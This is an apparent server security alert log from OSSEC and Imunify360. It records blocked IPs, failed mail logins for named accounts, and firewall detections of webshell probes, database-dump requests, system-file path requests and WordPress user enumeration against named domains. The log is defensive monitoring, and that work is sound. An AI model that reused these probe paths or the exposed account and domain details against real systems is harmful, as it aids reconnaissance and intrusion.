name: Imunify PAM. The IP has been locked by RBL
abuser: 77.76.140.113
country_id: 732800
description:
Jan 12 09:24:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.76.140.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.224.97.234
country_id: 3469034
description:
Jan 12 09:24:30 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.224.97.234 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 57.155.170.164
country_id: 1880251
domain: myfurnitureshop.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.furniturerun.com||User:myfurnit||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 65.111.1.51
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:09-25.65.111.1.51||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 09:26:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51846: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 09:26:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51846: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.229.225.51
country_id: 1269750
description:
Jan 12 09:29:53 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.229.225.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.36.249
country_id: 953987
description:
Jan 12 09:30:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.36.249 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.143.92.177
country_id: 2510769
description:
Jan 12 09:30:32 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.143.92.177 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.104.220
country_id: 3469034
description:
Jan 12 09:30:49 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.104.220 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 74.7.243.197
country_id: 6252001
domain: tujusetia.my
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.62||T:APACHE||MV:/wp-json/wp/v2/users/4||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 74.7.243.197
country_id: 6252001
domain: tujusetia.my
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.62||T:APACHE||MV:/wp-json/wp/v2/users/2||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 69.160.160.56
country_id: 6252001
domain: dynamic-hr.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.92 Safari/537.36||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 69.160.160.56
country_id: 6252001
domain: dynamic-hr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/service.php||SC:/home2/dynamichrcom/public_html/images/service.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.36.236
country_id: 2395170
description:
Jan 12 09:39:04 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.36.236 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.36.236
country_id: 2395170
description:
Jan 12 09:39:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.36.236 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.117.10
country_id: 226074
description:
Jan 12 09:39:24 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.117.10 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/eco.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.143.59.227
country_id: 6252001
description:
2026-01-12 09:41:48 dovecot_login authenticator failed for H=([166.143.59.227]) [166.143.59.227]:51889: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-12 09:42:02 H=(localhost.localdomain) [78.153.140.207]:55426 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.202.8.5
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/console/Event/ConsoleEvent.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.43
country_id: 3175395
description:
Jan 12 09:48:07 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.66.159.120
country_id: 953987
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/site/index.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.43
country_id: 3175395
description:
Jan 12 09:48:14 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.173.167.135
country_id: 3865483
domain: usfood.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/usfood.com.my/product-details.php?id=414004 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sitemap.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.229.105.178
country_id: 6252001
domain: working.magsoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/db.sql||User:workingmagsoftco||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 09:50:59 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52157: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 09:51:17 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52160: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.102.228.185
country_id: 2589581
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/press-details.php?id=949056 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.87.117.163
country_id: 3469034
description:
Jan 12 09:55:56 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.87.117.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.87.117.163
country_id: 3469034
description:
Jan 12 09:56:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.87.117.163 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.4
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/var/cache/dnf/packages.db||User:root||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.121.113.182
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/webmozart/assert/phpunit.xml.dist HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 154.54.249.193
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/depmod.d/dist.conf||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.137.142.246
country_id: 1655842
description:
2026-01-12 09:59:25 dovecot_login authenticator failed for H=([202.137.142.246]) [202.137.142.246]:49867: 535 Incorrect authentication data


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.203
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/security/user_map.conf||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.40.48
country_id: 953987
description:
Jan 12 10:02:48 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.40.48 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 10:03:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57751: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.164.135.60
country_id: 798544
description:
Jan 12 10:02:17 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.164.135.60 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 10:03:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57752: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.190.201.121
country_id: 1168579
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/webmozart/assert/src/InvalidArgumentException.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.11.26.116
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/ride/687/425008 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 216.180.246.232
country_id: 6252001
description:
Jan 12 10:04:11 sv3 pure-ftpd[2681378]: (?@216.180.246.232) [INFO] New connection from 216.180.246.232


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 50.2.38.3
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-04.50.2.38.3||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 216.180.246.232
country_id: 6252001
description:
Jan 12 10:06:05 sv3 pure-ftpd[2684002]: (?@216.180.246.232) [INFO] New connection from 216.180.246.232


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 93.183.93.32
country_id: 2017370
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-06.93.183.93.32||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/demos/img/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.186.68.153
country_id: 1814991
description:
Jan 12 10:09:01 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.186.68.153 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.186.68.153
country_id: 1814991
description:
2026-01-12 10:09:03 dovecot_login authenticator failed for H=([222.186.68.153]) [222.186.68.153]:58504: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.165.85.122
country_id: 3469034
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/food.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.26.237.1
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-11.216.26.237.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.245
country_id: 1880251
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/css/all.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.246
country_id: 1880251
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/css/style.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.182
country_id: 1880251
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/fonts/fontawesome/fontawesome-webfont5b62.woff2?v=4.6.3 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.220
country_id: 1880251
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/fonts/biotif-regular-webfont.woff2 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.180
country_id: 1880251
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/application/themes/bishop/fonts/biotif-bold-webfont.woff2 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.11
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib64/icu/Makefile.inc||User:root||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.4
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib/tmpfiles.d/named.conf||User:root||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 204.157.204.192
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=138029 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.6
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib/tmpfiles.d/sudo.conf||User:root||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.8
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib/tmpfiles.d/x11.conf||User:root||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/osl.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 150.242.170.6
country_id: 1814991
description:
2026-01-12 10:16:30 H=([150.242.170.6]) [150.242.170.6]:52004 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<SFbill3@bill.sf-express.com> rejected RCPT <enquiry@smartcable.com.my>: SPF: 150.242.170.6 is not allowed to send mail from bill.sf-express.com


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/fphortier/images/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 10:19:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52261: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.184
country_id: 3175395
description:
Jan 12 10:19:34 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.184 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 10:19:12 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52261: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 150.242.170.6
country_id: 1814991
description:
2026-01-12 10:21:15 H=([150.242.170.6]) [150.242.170.6]:56803 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<SFbill3@bill.sf-express.com> rejected RCPT <hr_admin@smartcable.com.my>: SPF: 150.242.170.6 is not allowed to send mail from bill.sf-express.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 12 10:21:53 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 194.105.158.90
country_id: 6252001
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/dump.sql||User:pftfood||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 193.37.133.174
country_id: 6252001
domain: www.kendek.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/dump.sql||User:kendek||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 126.158.236.72
country_id: 1861060
description:
2026-01-12 10:25:10 dovecot_plain authenticator failed for H=om126158236072.30.openmobile.ne.jp (smtpclient.apple) [126.158.236.72]:60569: 535 Incorrect authentication data (set_id=iwata@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.47.131.159
country_id: 587116
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/index.php?route=product/search&tag=t022-0629 - rsc printed carton HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 12 10:26:25 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.213
country_id: 3175395
description:
Jan 12 10:26:46 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.190.33.33
country_id: 3077311
description:
Jan 12 10:26:47 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.190.33.33 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.229.253.18
country_id: 3865483
description:
Jan 12 10:27:09 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.229.253.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.2
country_id: 3469034
description:
Jan 12 10:29:59 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 10:31:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57788: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.2
country_id: 3469034
description:
Jan 12 10:30:14 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 10:31:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57788: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.77.51.78
country_id: 3175395
description:
Jan 12 10:32:17 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.77.51.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.134.99.130
country_id: 3057568
description:
Jan 12 10:33:59 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.134.99.130 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.158.157.9
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=2&sub=24 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.134.99.130
country_id: 3057568
description:
Jan 12 10:34:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.134.99.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.179
country_id: 3175395
description:
Jan 12 10:34:17 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.179 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.36.85
country_id: 3469034
description:
Jan 12 10:36:03 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.36.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.210.57
country_id: 798544
description:
Jan 12 10:36:16 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.210.57 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.245.250.151
country_id: 3469034
description:
Jan 12 10:37:18 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.245.250.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.241.224
country_id: 798544
description:
Jan 12 10:38:09 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.241.224 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.49.93.39
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=841603 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 175.107.211.196
country_id: 1168579
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=994821 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
